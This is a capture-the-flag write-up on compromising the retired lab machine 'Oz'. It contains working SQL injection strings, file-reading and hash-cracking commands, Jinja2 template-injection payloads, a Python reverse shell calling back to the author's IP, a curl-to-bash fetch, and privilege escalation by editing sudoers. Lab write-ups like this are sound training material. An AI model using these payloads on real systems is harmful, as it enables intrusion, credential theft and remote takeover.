This is the write-up for the box Oz that got retired at the 12th January 2019. My IP address was 10.10.14.5 while I did this.
Let's put this in our hosts file:
10.10.10.96 oz.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/oz.nmap 10.10.10.96
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was https://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about
The web page on port 80 has the title "OZ webapi" and shows one string of text:
Please register a username!
Lets search for hidden directories with Gobuster:
gobuster -u https://10.10.10.96/ dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Unfortunately every path responds as valid, but with wfuzz it can be searched for hidden directories and false positives excluded:
wfuzz -c -u https://10.10.10.96/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
wfuzz -c -u https://10.10.10.96/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0
There is one directory that has not a length of 0 but instead a length of 3 called /users. The directory still shows the same message, but by trying out some usernames, it shows a different result at /users/admin:
GET /users/admin HTTP/1.1
Host: 10.10.10.96
(...)
{"username":"admin"}
When using a single quote character after the parameter, it resolves in an 500 Internal Server Error:
GET /users/admin' HTTP/1.1
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
It seems like that there is a SQL Injection vulnerability, which can be exploited to enumerate the database.
Enumerating the database manually:
GET /users/admin'%20or%201='1
{"username":"dorthi"}
Enumerating usernames:
GET /users/admin' or 1='1' limit 0,1-- -
GET /users/admin' or 1='1' limit 1,1-- -
GET /users/admin' or 1='1' limit 2,1-- -
GET /users/admin' or 1='1' limit 3,1-- -
(...)
# URL encoded:
GET /users/admin'%20or%201='1'%20limit%200,1--%20-
{"username":"tin.man"}
{"username":"wizard.oz"}
{"username":"coward.lyon"}
{"username":"toto"}
Saving the request as a file (oz_webapi.req) and sending it to SQLmap to dump all contents of the databases:
sqlmap -r oz_webapi.req
sqlmap -r oz_webapi.req --dump
All contents of ozdb get dumped and there are two tables with interesting information.
Contents of table users_gbw:
Table: users_gbw
[6 entries]
+----+----------------------------------------------------------------------------------------+-------------+
| id | password | username |
+----+----------------------------------------------------------------------------------------+-------------+
| 1 | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 | dorthi |
| 2 | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk | tin.man |
| 3 | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY | wizard.oz |
| 4 | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY | coward.lyon |
| 5 | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg | toto |
| 6 | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ | admin |
+----+----------------------------------------------------------------------------------------+-------------+
Trying to crack the hashes with Hashcat after formatting them accordingly:
sha256:5000:aA3h3LvXOseYk3IupVQKgQ:ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
(...)
hashcat -m 10900 ozdb.hash /usr/share/wordlists/rockyou.txt
After a while the hash of the user wizard.oz gets cracked:
wizardofoz22
Contents of table tickets_gbw:
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name | desc |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
(...)
| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
(...)
| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
The most important information in tickets_gbw is that dorthi stores SSH keys in /home/dorthi. It is possible to download files from the system with SQLmap:
sqlmap -r oz_webapi.req --file-read /home/dorthi/.ssh/id_rsa
cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
(...)
We get the encrypted SSH private key of dorthi, but there is no SSH port open.
It is also possible to download files by using the LOAD_FILE command:
GET /users/notexisting' union select all LOAD_FILE(0x2f686f6d652f646f727468692f2e7373682f69645f727361)-- -
# URL encoded
GET /users/notexisting'%20union%20select%20all%20LOAD_FILE(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-
The web page on port 8080 forwards to /login:
The password of the user wizard.oz were cracked before and the credentials work on this login page. It shows all the tickets from the tickets_gbw table and the only feature is to create tickets.
POST / HTTP/1.1
Host: 10.10.10.96:8080
(...)
name=test1&desc=test1
After testing for some web vulnerabilities, this application seems to be vulnerable to Server Side Template Injection. There are some examples on PayloadsAllTheThings for this vulnerability.
As the server header shows, the web server is Python-based and Jinja2 is for Python web applications, so code execution can be proved by sending simple math code:
# Request
name=test1&desc={{7*'7'}}
# Response
Name: test1 desc: 7777777
Reading /etc/passwd:
name=test1&desc={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Uploading malicious config file with which command execution is possible:
name=test1&desc={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
name=test1&desc={{ config.from_pyfile('/tmp/evilconfig.cfg') }}
name=test1&desc={{ config['RUNCMD']('whoami',shell=True) }}
Name: test1 desc: root
Thw whoami command shows that we are root and command execution is proved.
Lets start a reverse shell session:
name=test1&desc={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') }}
name=test1&desc={{ config.from_pyfile('/tmp/evilconfig.cfg') }}
After sending the Python reverse shell command and loading it, the listener on my IP and port 9001 starts a reverse shell session as root.
The IP on the box is 10.100.10.2 and the hostname is tix-app which means that this is not the target box. The file /.dockerenv confirms, that it is a Docker container.
The arp -an command shows that there are two more IPs:
- 10.100.10.1
- 10.100.10.4
Checking if port 22 is open on any of those:
nc -zv 10.100.10.1 22
nc -zv 10.100.10.4 22
The IP 10.100.10.4 immediately closes the connection, which means that port 22 is filtered in some way on that client.
In the file /app/ticketer/database.py are credentials for a MySQL instance on 10.100.10.4:
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql:https://dorthi:[email protected]/ozdb'
(...)
Checking if the default MySQL port is open:
nc -zv 10.100.10.4 3306
It is open and we are able to login into it, but unfortunately it is the same database as before and has no more interesting information:
mysql -u dorthi -p -h 10.100.10.4
In the root directory is a file in /.secret/knockd.log with the following contents:
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
This is a configuration file for Knockd and by using Port Knocking on the given ports, it will open port 22 for 10 seconds:
nc -zu 10.10.10.96 40809
nc -zu 10.10.10.96 50212
nc -zu 10.10.10.96 46969
nc -zv 10.10.10.96 22
Ncat: Connected to 10.10.10.96:22.
As it closes after 10 seconds, it is more convenient to execute these commands in a loop:
for i in 40809 50212 46969; do nc -zu 10.10.10.96 $i; done
We have obtained an encrypted SSH key of dorthi earlier and maybe it uses the same password that is also used in the MySQL database:
ssh -i dorthi.ssh [email protected]
The password from MySQL works for the SSH key and login as dorthi is successful.
To get an attack surface on the box, it is recommended to run any Linux Enumeration Script:
curl 10.10.14.5/LinEnum.sh | bash
By checking the root permissions, it shows that this user has permissions to run two docker commands:
sudo -l
User dorthi may run the following commands on Oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls
Enumerating the Docker networks:
sudo docker network ls
NETWORK ID NAME DRIVER SCOPE
4896c34ce8c3 bridge bridge local
49c1b0c16723 host host local
3ccc2aa17acf none null local
48148eb6a512 prodnet bridge local
sudo docker network inspect prodnet
sudo docker network inspect none
sudo docker network inspect host
sudo docker network inspect bridge
- The bridge called prodnet contains three containers with the web application and the database
- The host called host is empty
- The bridge called bridge has a subnet that was not seen before:
Name": "bridge",
(...)
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.0.1"
(...)
"e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
"Name": "portainer-1.11.1",
"EndpointID": "7a18d3b4cdf208160c7d75d5d37389c1720508fc79c3737ca1b756173b6ed315",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
(...)
The host 172.17.0.2 is reachable via ping and the software Portainer is a management UI for Docker and Kubernetes environments.
Port scanning the IP with Nmap:
nmap -sT 172.17.0.2
PORT STATE SERVICE
9000/tcp open cslistener
Forwarding port 9000 to my local clients port 9001 with the SSH command line:
ssh> -L9001:172.17.0.2:9000
On localhost:9001 the Portainer web login can now be accessed:
A bug description on GitHub for Portainer version 1.11.1 describes how to set any password for the admin user:
POST /api/users/admin/init HTTP/1.1
(...)
{"username":"admin","password":"newpassword"}
After changing the password, the login works and it is possible to create a new container:
Container --> Add container
After configuring the container, the systems root path will be mounted on /mnt and every file can be read and modified.
Modifying the /etc/sudoers file:
vi /mnt/etc/sudoers
(...)
dorthi ALL=(ALL) NOPASSWD: /bin/sh
Executing /bin/sh as dorthi:
dorthi@Oz:~$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
This results in a root shell on the box!